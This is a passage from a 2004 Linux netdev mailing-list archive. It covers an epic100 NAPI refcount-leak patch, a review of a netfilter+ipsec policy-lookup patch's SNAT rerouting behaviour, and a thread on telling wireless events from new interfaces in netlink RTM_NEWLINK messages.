-110,7 +110,7 @@ unsigned long qave=0; int i=0; - if (!t->initd && skb_queue_len(&sch->q) < sch->dev->tx_queue_len) { + if (!t->initd && skb_queue_len(&sch->q) < (sch->dev->tx_queue_len ? : 1)) { D2PRINTK("NO GRED Queues setup yet! Enqueued anyway\n"); goto do_enqueue; } --------------090502020107040702010806-- From romieu@fr.zoreil.com Tue Mar 23 16:45:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 16:45:16 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O0jCKO009170 for ; Tue, 23 Mar 2004 16:45:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2O0fggf018500; Wed, 24 Mar 2004 01:41:42 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2O0feiY018499; Wed, 24 Mar 2004 01:41:40 +0100 Date: Wed, 24 Mar 2004 01:41:40 +0100 From: Francois Romieu To: OGAWA Hirofumi Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi Message-ID: <20040324014140.A16202@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <20040323195119.A14062@electric-eye.fr.zoreil.com> <871xnjgwrs.fsf@devron.myhome.or.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <871xnjgwrs.fsf@devron.myhome.or.jp>; from hirofumi@mail.parknet.co.jp on Wed, Mar 24, 2004 at 04:59:19AM +0900 X-Organisation: Land of Sunshine Inc. X-archive-position: 4213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 3657 Lines: 122 OGAWA Hirofumi : [...] > > -> napi irq are disabled and device is removed from poll list. What will > > prevent it ? > > __LINK_STATE_RX_SCHED flag is setting until __netif_rx_complete() is called. > So netif_rx_schedule_prep() returns 0. Ok, thanks for the explanation. It is possible that the lock stays anyway (see below). [...] > > Afaiu, if some data comes in just before the spin_lock, it may wait for ages. > > Yes, maybe. But, if after spin_lock, it loop may call the twice > __netif_rx_schedule(). And netif_rx_complete() doesn't call dev_put(). > It will leaks the dev->refcnt, I think. @$*#!zW The following patch should avoid the leak as well as the packet rot (untested, 1:33 AM, apply on top of previous serie). Multiple invocation of __netif_rx_schedule() in epic_interrupt() while epic_poll loops over __netif_rx_complete() leads to serious device refcount leak. drivers/net/epic100.c | 26 +++++++++++++------------- 1 files changed, 13 insertions(+), 13 deletions(-) diff -puN drivers/net/epic100.c~epic100-napi-30 drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-30 2004-03-24 01:18:25.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-24 01:19:35.000000000 +0100 @@ -337,6 +337,7 @@ struct epic_private { /* Ring pointers. */ spinlock_t lock; /* Group with Tx control cache line. */ spinlock_t napi_lock; + unsigned int reschedule_in_poll; unsigned int cur_tx, dirty_tx; unsigned int cur_rx, dirty_rx; @@ -472,7 +473,9 @@ static int __devinit epic_init_one (stru dev->base_addr = ioaddr; dev->irq = irq; - spin_lock_init (&ep->lock); + spin_lock_init(&ep->lock); + spin_lock_init(&ep->napi_lock); + ep->reschedule_in_poll = 0; /* Bring the chip out of low-power mode. */ outl(0x4200, ioaddr + GENCTL); @@ -981,8 +984,6 @@ static void epic_init_ring(struct net_de int i; ep->tx_full = 0; - spin_lock_init(&ep->lock); - spin_lock_init(&ep->napi_lock); ep->dirty_tx = ep->cur_tx = 0; ep->cur_rx = ep->dirty_rx = 0; ep->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); @@ -1152,7 +1153,6 @@ static void epic_tx(struct net_device *d } } - /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs) @@ -1177,12 +1177,13 @@ static irqreturn_t epic_interrupt(int ir break; handled = 1; - if (status & EpicNapiEvent) { + if ((status & EpicNapiEvent) && !ep->reschedule_in_poll) { spin_lock(&ep->napi_lock); if (netif_rx_schedule_prep(dev)) { epic_napi_irq_off(dev, ep); __netif_rx_schedule(dev); - } + } else + ep->reschedule_in_poll++; spin_unlock(&ep->napi_lock); } @@ -1355,7 +1356,6 @@ static int epic_poll(struct net_device * orig_budget = (*budget > dev->quota) ? dev->quota : *budget; -rx_action: outl(EpicNapiEvent, ioaddr + INTSTAT); epic_tx(dev, ep); @@ -1369,18 +1369,18 @@ rx_action: if (netif_running(dev) && (work_done < orig_budget)) { unsigned long flags; - int status; - spin_lock_irqsave(&ep->napi_lock, flags); epic_napi_irq_on(dev, ep); + + spin_lock_irqsave(&ep->napi_lock, flags); __netif_rx_complete(dev); - spin_unlock_irqrestore(&ep->napi_lock, flags); - status = inl(ioaddr + INTSTAT); - if (status & EpicNapiEvent) { + if (ep->reschedule_in_poll) { epic_napi_irq_off(dev, ep); - goto rx_action; + __netif_rx_schedule(dev); + ep->reschedule_in_poll--; } + spin_unlock_irqrestore(&ep->napi_lock, flags); } return (work_done >= orig_budget); _ From alex@samad.com.au Tue Mar 23 18:15:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 18:15:35 -0800 (PST) Received: from sydlxfw01.hme1.samad.com.au (CPE-203-45-75-158.nsw.bigpond.net.au [203.45.75.158]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O2FWKO011182 for ; Tue, 23 Mar 2004 18:15:33 -0800 Received: from alex by sydlxfw01.hme1.samad.com.au with local (Exim 4.30 #1 (Debian)) id 1B5xvG-0006qz-Lq; Wed, 24 Mar 2004 13:15:14 +1100 Date: Wed, 24 Mar 2004 13:15:14 +1100 To: Patrick McHardy Cc: "David S. Miller" , herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040324021514.GM3387@samad.com.au> Mail-Followup-To: Patrick McHardy , "David S. Miller" , herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="p7S+EREVcBHk3zUG" Content-Disposition: inline In-Reply-To: <4059CF17.8090907@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Alexander Samad X-archive-position: 4214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alex@samad.com.au Precedence: bulk X-list: netdev Content-Length: 1122 Lines: 40 --p7S+EREVcBHk3zUG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi Think their might be a problem with this patch. Potientially a packet could traverse the pre, forward and the post routing, at which point it can be SNAT'ed or MASQ'ed and then re injected into route_me_harder. This potiential could allow packets to be rerouted based on the new src/dst addresses differently to the intail packet but this new packet doesn't traverse any of the chains with the new information. Alex On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > This patch adds policy lookups to ip_route_me_harder and makes NAT > reroute for any change that affects route/policy lookups. >=20 --p7S+EREVcBHk3zUG Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAYO8ykZz88chpJ2MRAnXEAJkBiPiIlnQLPt511knU2+HjH/KpRwCfd50D 2ieGoF71hkk3fgK4SXT4/zg= =jqBS -----END PGP SIGNATURE----- --p7S+EREVcBHk3zUG-- From kaber@trash.net Tue Mar 23 18:39:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 18:39:09 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O2cgKO018778 for ; Tue, 23 Mar 2004 18:39:03 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B5yIA-0003un-00; Wed, 24 Mar 2004 03:38:54 +0100 Message-ID: <4060F4F6.5020400@trash.net> Date: Wed, 24 Mar 2004 03:39:50 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Alexander Samad CC: "David S. Miller" , herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040324021514.GM3387@samad.com.au> In-Reply-To: <20040324021514.GM3387@samad.com.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 981 Lines: 32 Alexander Samad wrote: > Hi > > Think their might be a problem with this patch. > > Potientially a packet could traverse the pre, forward and the post > routing, at which point it can be SNAT'ed or MASQ'ed and then re > injected into route_me_harder. This potiential could allow packets to > be rerouted based on the new src/dst addresses differently to the intail > packet but this new packet doesn't traverse any of the chains with the > new information. This is just as without the patches, SNAT in POST_ROUTING never causes a packet to re-traverse the hooks. There is one minor difference, packets which match a policy after NAT stop traversing the hooks at NF_IP_PRI_NAT_SRC priority. I will fix this this for the final version. Regards Patrick > > Alex > > On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > >>This patch adds policy lookups to ip_route_me_harder and makes NAT >>reroute for any change that affects route/policy lookups. >> > > > From hirofumi@mail.parknet.co.jp Tue Mar 23 18:52:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 18:52:24 -0800 (PST) Received: from mail.parknet.co.jp (mail.parknet.co.jp [210.171.160.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O2qJKO019386 for ; Tue, 23 Mar 2004 18:52:20 -0800 Received: from ibmpc.myhome.or.jp [210.171.164.65] by mail.parknet.co.jp with ESMTP (SMTPD32-4.10) id A723366F0114; Wed, 24 Mar 2004 11:53:07 +0900 Received: from ibmpc.myhome.or.jp (hirofumi@localhost [127.0.0.1]) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2O2qCkN002500 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 24 Mar 2004 11:52:13 +0900 Received: (from hirofumi@localhost) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) id i2O2qA0U002495; Wed, 24 Mar 2004 11:52:10 +0900 To: Francois Romieu Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <20040323195119.A14062@electric-eye.fr.zoreil.com> <871xnjgwrs.fsf@devron.myhome.or.jp> <20040324014140.A16202@electric-eye.fr.zoreil.com> From: OGAWA Hirofumi Date: Wed, 24 Mar 2004 11:52:09 +0900 In-Reply-To: <20040324014140.A16202@electric-eye.fr.zoreil.com> Message-ID: <87lllrdkiu.fsf@ibmpc.myhome.or.jp> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 4216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hirofumi@mail.parknet.co.jp Precedence: bulk X-list: netdev Content-Length: 778 Lines: 22 Francois Romieu writes: > > Yes, maybe. But, if after spin_lock, it loop may call the twice > > __netif_rx_schedule(). And netif_rx_complete() doesn't call dev_put(). > > It will leaks the dev->refcnt, I think. > > @$*#!zW > > The following patch should avoid the leak as well as the packet rot > (untested, 1:33 AM, apply on top of previous serie). > > > Multiple invocation of __netif_rx_schedule() in epic_interrupt() while > epic_poll loops over __netif_rx_complete() leads to serious device > refcount leak. Do you care the lost interrupt? If so, I was miss reading it. IIRC, PCI spec requires the level-trigger. So devices asserts IRQ signal until the driver clears the pending interrupt. No? -- OGAWA Hirofumi From alex@samad.com.au Tue Mar 23 19:33:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 19:33:46 -0800 (PST) Received: from sydlxfw01.hme1.samad.com.au (CPE-203-45-75-158.nsw.bigpond.net.au [203.45.75.158]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O3XeKO028181 for ; Tue, 23 Mar 2004 19:33:43 -0800 Received: from alex by sydlxfw01.hme1.samad.com.au with local (Exim 4.30 #1 (Debian)) id 1B5z8w-00074J-JZ; Wed, 24 Mar 2004 14:33:26 +1100 Date: Wed, 24 Mar 2004 14:33:26 +1100 To: Patrick McHardy Cc: "David S. Miller" , herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040324033326.GP3387@samad.com.au> Mail-Followup-To: Patrick McHardy , "David S. Miller" , herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040324021514.GM3387@samad.com.au> <4060F4F6.5020400@trash.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Y5wfsVCgeKAcINk2" Content-Disposition: inline In-Reply-To: <4060F4F6.5020400@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Alexander Samad X-archive-position: 4217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alex@samad.com.au Precedence: bulk X-list: netdev Content-Length: 1984 Lines: 66 --Y5wfsVCgeKAcINk2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 24, 2004 at 03:39:50AM +0100, Patrick McHardy wrote: > Alexander Samad wrote: > >Hi > > > >Think their might be a problem with this patch. > > > >Potientially a packet could traverse the pre, forward and the post > >routing, at which point it can be SNAT'ed or MASQ'ed and then re > >injected into route_me_harder. This potiential could allow packets to > >be rerouted based on the new src/dst addresses differently to the intail > >packet but this new packet doesn't traverse any of the chains with the > >new information. >=20 > This is just as without the patches, SNAT in POST_ROUTING never causes > a packet to re-traverse the hooks. There is one minor difference, > packets which match a policy after NAT stop traversing the hooks at > NF_IP_PRI_NAT_SRC priority. I will fix this this for the final version. Sorry might not have made myself clear, after an SNAT with your patch the packet is re injected into route_me_harder, thus the packet is able to be rerouted (sent out another interface for example)=20 What this would mean is a packet could meet your iptable rules with is PRE-SNAT details and then actually behave differently once it has been SNAT'ed (and not get checked) Alex >=20 > Regards > Patrick >=20 > > > >Alex > > > >On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > > > >>This patch adds policy lookups to ip_route_me_harder and makes NAT > >>reroute for any change that affects route/policy lookups. > >> > > > > > > >=20 >=20 --Y5wfsVCgeKAcINk2 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAYQGGkZz88chpJ2MRAo0JAJ9BoQrQ6BYCrP97qVL5XelYiwQLYQCdGKxY r1Z0KbBtH5IxE2ZoHGV0BIU= =mcmw -----END PGP SIGNATURE----- --Y5wfsVCgeKAcINk2-- From gargid@cdacindia.com Tue Mar 23 20:16:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 20:16:27 -0800 (PST) Received: from mailx.cdac.ernet.in (mailx.cdacindia.com [202.54.40.35]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O4GJKO001043 for ; Tue, 23 Mar 2004 20:16:20 -0800 Received: from mailx.cdac.ernet.in ([196.1.109.101]) by mailx.cdac.ernet.in (NAVGW 2.5.2.12) with SMTP id M2004032409360523724 for ; Wed, 24 Mar 2004 09:36:05 +0530 Received: from mailhub.cdac.ernet.in (mailhub.cdac.ernet.in [196.1.109.254]) by mailx.cdac.ernet.in (8.12.8p1/8.12.8) with ESMTP id i2O464pn008699 for ; Wed, 24 Mar 2004 09:36:04 +0530 (IST) Received: from mailhub.cdac.ernet.in (mailhub.cdac.ernet.in [196.1.109.254]) by mailhub.cdac.ernet.in (8.12.8p1/8.12.8) with SMTP id i2O45tAR022291 for ; Wed, 24 Mar 2004 09:36:04 +0530 (IST) Received: from mailhub.cdac.ernet.in ([127.0.0.1]) by mailhub.cdac.ernet.in (SAVSMTP 3.1.0.29) with SMTP id M2004032409360316784 for ; Wed, 24 Mar 2004 09:36:03 +0530 Received: (from root@localhost) by mailhub.cdac.ernet.in (8.12.8p1/8.12.8/Submit) id i2O463jP022398 for netdev@oss.sgi.com.procmail; Wed, 24 Mar 2004 09:36:03 +0530 (IST) Received: from mailhub.cdac.ernet.in (mailhub.cdac.ernet.in [196.1.109.254]) by mailhub.cdac.ernet.in (8.12.8p1/8.12.8) with SMTP id i2O45vAL022296; Wed, 24 Mar 2004 09:35:58 +0530 (IST) Received: (from rahul [192.168.6.16]) by mailhub.cdac.ernet.in (SAVSMTP 3.1.0.29) with SMTP id M2004032409355616780 ; Wed, 24 Mar 2004 09:35:56 +0530 From: "Gargi D" To: "'Pavlin Radoslavov'" , , Subject: RE: NETLINK upcalls and wireless events Date: Wed, 24 Mar 2004 09:37:01 +0530 Message-ID: <001d01c41155$759ca8f0$1006a8c0@rahul> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <200403230212.i2N2CeRj069721@possum.icir.org> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-archive-position: 4218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gargid@cdacindia.com Precedence: bulk X-list: netdev Content-Length: 3338 Lines: 101 Hi, I was wondering if you could help me in understanding the usage of netlink sockets. Wireless events such as a signal that a new interface has been created, can anyway be read from /proc/net and var/lib/pcmcia/stab Why would then want to use netlink sockets to get an indication of the same. Regards, Miss. Gargi Dadhich Member Technical Staff Networking and Internet Software Group (NISG) C-DAC, Pune Tel: 020-25694000/1/2/3 Extn: 484 Fax: 020-25694059 -----Original Message----- From: hostap-bounces+gargid=cdacindia.com@shmoo.com [mailto:hostap-bounces+gargid=cdacindia.com@shmoo.com] On Behalf Of Pavlin Radoslavov Sent: Tuesday, March 23, 2004 7:43 AM To: hostap@shmoo.com; netdev@oss.sgi.com Cc: pavlin@icir.org Subject: NETLINK upcalls and wireless events [Apology for the cross-post, but I am not sure which is the right mailing list for this question] BACKGROUND: I am using Linux NETLINK sockets to monitor network interface events in the kernel such as "interface added/deleted", "address added/deleted", etc. The RTM_NEWLINK message type upcall from the kernel to user-space is used to signal that a new network interface has been created (e.g., a tunnel interface, a PC-Card has been inserted, etc). One of the attributes of that message (see rtnetlink(7)) is IFLA_IFNAME and is used to store the device name (e.g., "tun0", "eth0", etc). PROBLEM: So far everything worked fine on a desktop: whenever I add a tunnel, the kernel sends to user-space RTM_NEWLINK, I check the IFLA_IFNAME attribute to get the name of the new interface, etc. However, a fellow tried same software on a laptop in wireless environment, and then RTM_NEWLINK messages started to appear for no apparent reason. Those messages did not contain the IFLA_IFNAME attribute which was strange and I started to suspect that it could be a kernel bug. After some investigation I found that the RTM_NEWLINK message can be generated not only when there is a new interface, but in some other cases as well. Inside file linux/wireless.h (I am looking into version 15 from 12.7.02) I found the following comment: /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ In other words, some wireless events may also generate RTM_NEWLINK message as well. I don't have a laptop with Linux to verify that myself, but I am quite sure that some wireless events do generate RTM_NEWLINK with no IFLA_IFNAME. QUESTION: If I receive an RTM_NEWLINK message, is there a reliable way to find-out whether the message is generated because of a wireless event or because indeed there is a new network interface installed in the kernel. Checking whether the message contains the IFLA_WIRELESS field is probably not an option, because I may be compiling the code on a slightly older Linux box that doesn't have IFLA_WIRELESS defined. The only solution I have so far is to check whether the message contains the IFLA_IFNAME field, but this is more like a work-around rather than a solution. Any suggestions? Thanks, Pavlin _______________________________________________ HostAP mailing list HostAP@shmoo.com http://lists.shmoo.com/mailman/listinfo/hostap From hadi@cyberus.ca Tue Mar 23 20:53:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 20:53:15 -0800 (PST) Received: from mx02.cybersurf.com (mx02.cybersurf.com [209.197.145.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O4r7KO005141 for ; Tue, 23 Mar 2004 20:53:07 -0800 Received: from mail.cyberus.ca ([209.197.145.21]) by mx02.cybersurf.com with esmtp (Exim 4.30) id 1B60ON-0002mU-Iq for netdev@oss.sgi.com; Tue, 23 Mar 2004 23:53:27 -0500 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1B60Nv-00014p-PJ; Tue, 23 Mar 2004 23:53:00 -0500 Subject: Re: NETLINK upcalls and wireless events From: jamal Reply-To: hadi@cyberus.ca To: jt@hpl.hp.com Cc: hostap@shmoo.com, netdev@oss.sgi.com, pavlin@icir.org In-Reply-To: <20040323175717.GA32055@bougret.hpl.hp.com> References: <20040323175717.GA32055@bougret.hpl.hp.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1080103945.1472.56.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 23 Mar 2004 23:52:25 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 4219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 2342 Lines: 55 On Tue, 2004-03-23 at 12:57, jt@bougret.hpl.hp.com wrote: > > Checking whether the message contains the IFLA_WIRELESS field is > > probably not an option, because I may be compiling the code on a > > slightly older Linux box that doesn't have IFLA_WIRELESS defined. > > The only solution I have so far is to check whether the message > > contains the IFLA_IFNAME field, but this is more like a work-around > > rather than a solution. Any suggestions? > > The method I personally use is that I keep a little database > of interfaces (I need it for other reasons). Therefore, I know if the > interface is new (not in my database) or already exist (present in my > database). This is the best way to do it. > Note that in theory, RtNetlink messages may be lost (due to > memory pressure). Also, you won't only get NEWLINK when interface > register, but also when interface goes up and down, or when multicast > or promiscuous flags are changed. Which mean that in practice you want > to be much more clever than what you do now. If you maintain a database in userspace the real good check would be the ifindex since this would be unique for the device and persistent. The name can be changed. If you already have the ifindex in your database then clearly thats just an event announcement. Next thing to check would be the state of the flags/changemask to see if the admin status changed (eg ifconfig down ). And of course whatever the IFLA_* attribs (which are optionaly sent). Typically you can catch lost messages in netlink since the socket gets its error flag set. You can use that as an event to check for changes. > > Both methods you suggest would also work. If IFLA_WIRELESS > doesn't exist, just define it : > ----------------------------- > #ifndef IFLA_WIRELESS > #define IFLA_WIRELESS (IFLA_MASTER + 1) > #endif /* IFLA_WIRELESS */ > ----------------------------- > > The latest method is to look at both ifi_flags and > ifi_change. If ifi_change is 0, it is usually a wireless event (but > not always). mask should really indicate that something new is in the flags so hopefuly it is not being arbitrarily set to 0 to indicate events. Not too familiar with IFLA_WIRELESS - but is this a link event or is something conviniently using the link message? What kind of things does it announce/configure? cheers, jamal From pavlin@icir.org Tue Mar 23 21:43:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 21:44:03 -0800 (PST) Received: from possum.icir.org (possum.icir.org [192.150.187.67]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O5htKO007043 for ; Tue, 23 Mar 2004 21:43:56 -0800 Received: from possum.icir.org (localhost [127.0.0.1]) by possum.icir.org (8.12.9p1/8.12.8) with ESMTP id i2O5hdRj088576; Tue, 23 Mar 2004 21:43:39 -0800 (PST) (envelope-from pavlin@possum.icir.org) Message-Id: <200403240543.i2O5hdRj088576@possum.icir.org> To: "Gargi D" cc: "'Pavlin Radoslavov'" , hostap@shmoo.com, netdev@oss.sgi.com Subject: Re: NETLINK upcalls and wireless events In-Reply-To: Message from "Gargi D" of "Wed, 24 Mar 2004 09:37:01 +0530." <001d01c41155$759ca8f0$1006a8c0@rahul> Date: Tue, 23 Mar 2004 21:43:39 -0800 From: Pavlin Radoslavov X-archive-position: 4220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pavlin@icir.org Precedence: bulk X-list: netdev Content-Length: 4297 Lines: 120 > I was wondering if you could help me in understanding the usage of > netlink sockets. Wireless events such as a signal that a new interface > has been created, can anyway be read from > > /proc/net and var/lib/pcmcia/stab > > Why would then want to use netlink sockets to get an indication of the > same. Just to clarify: I am not interested in wireless events, but when a new network interface has appeared (regardless whether it is a wireless interface or not). There are several reasons I want to use netlink: * I am interest in much more events (new interface addresses, routes added/deleted/etc), and NETLINK is the natural mechanism to do all of that. * I am not sure that I can use asynchronously /proc/net/dev & friends to obtain interface-related events (but I may be wrong here). I am not familiar with var/lib/pcmcia/stab, but looks like it is pccard-specific, and I am interested in any type of interface. * I would prefer that I deal with system calls to obtain the information rather than parsing ASCII output. Thanks, Pavlin > > > Regards, > > > Miss. Gargi Dadhich > Member Technical Staff > Networking and Internet Software Group (NISG) > C-DAC, Pune > > Tel: 020-25694000/1/2/3 Extn: 484 > Fax: 020-25694059 > > > > -----Original Message----- > From: hostap-bounces+gargid=cdacindia.com@shmoo.com > [mailto:hostap-bounces+gargid=cdacindia.com@shmoo.com] On Behalf Of > Pavlin Radoslavov > Sent: Tuesday, March 23, 2004 7:43 AM > To: hostap@shmoo.com; netdev@oss.sgi.com > Cc: pavlin@icir.org > Subject: NETLINK upcalls and wireless events > > > [Apology for the cross-post, but I am not sure which is the right > mailing list for this question] > > > BACKGROUND: > > I am using Linux NETLINK sockets to monitor network interface events in > the kernel such as "interface added/deleted", "address added/deleted", > etc. > > The RTM_NEWLINK message type upcall from the kernel to user-space is > used to signal that a new network interface has been created (e.g., a > tunnel interface, a PC-Card has been inserted, etc). One of the > attributes of that message (see rtnetlink(7)) is IFLA_IFNAME and is used > to store the device name (e.g., "tun0", "eth0", etc). > > > PROBLEM: > > So far everything worked fine on a desktop: whenever I add a tunnel, the > kernel sends to user-space RTM_NEWLINK, I check the IFLA_IFNAME > attribute to get the name of the new interface, etc. > > However, a fellow tried same software on a laptop in wireless > environment, and then RTM_NEWLINK messages started to appear for no > apparent reason. Those messages did not contain the IFLA_IFNAME > attribute which was strange and I started to suspect that it could be a > kernel bug. After some investigation I found that the RTM_NEWLINK > message can be generated not only when there is a new interface, but in > some other cases as well. Inside file linux/wireless.h (I am looking > into version 15 from 12.7.02) I found the following comment: > > /* ----------------------- WIRELESS EVENTS ----------------------- */ > /* > * Wireless events are carried through the rtnetlink socket to user > * space. They are encapsulated in the IFLA_WIRELESS field of > * a RTM_NEWLINK message. > */ > > > In other words, some wireless events may also generate RTM_NEWLINK > message as well. I don't have a laptop with Linux to verify that myself, > but I am quite sure that some wireless events do generate RTM_NEWLINK > with no IFLA_IFNAME. > > > QUESTION: > > If I receive an RTM_NEWLINK message, is there a reliable way to find-out > whether the message is generated because of a wireless event or because > indeed there is a new network interface installed in the kernel. > > Checking whether the message contains the IFLA_WIRELESS field is > probably not an option, because I may be compiling the code on a > slightly older Linux box that doesn't have IFLA_WIRELESS defined. The > only solution I have so far is to check whether the message contains the > IFLA_IFNAME field, but this is more like a work-around rather than a > solution. Any suggestions? > > Thanks, > Pavlin > _______________________________________________ > HostAP mailing list > HostAP@shmoo.com > http://lists.shmoo.com/mailman/listinfo/hostap > From vda@port.imtp.ilyichevsk.odessa.ua Tue Mar 23 22:49:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 22:49:38 -0800 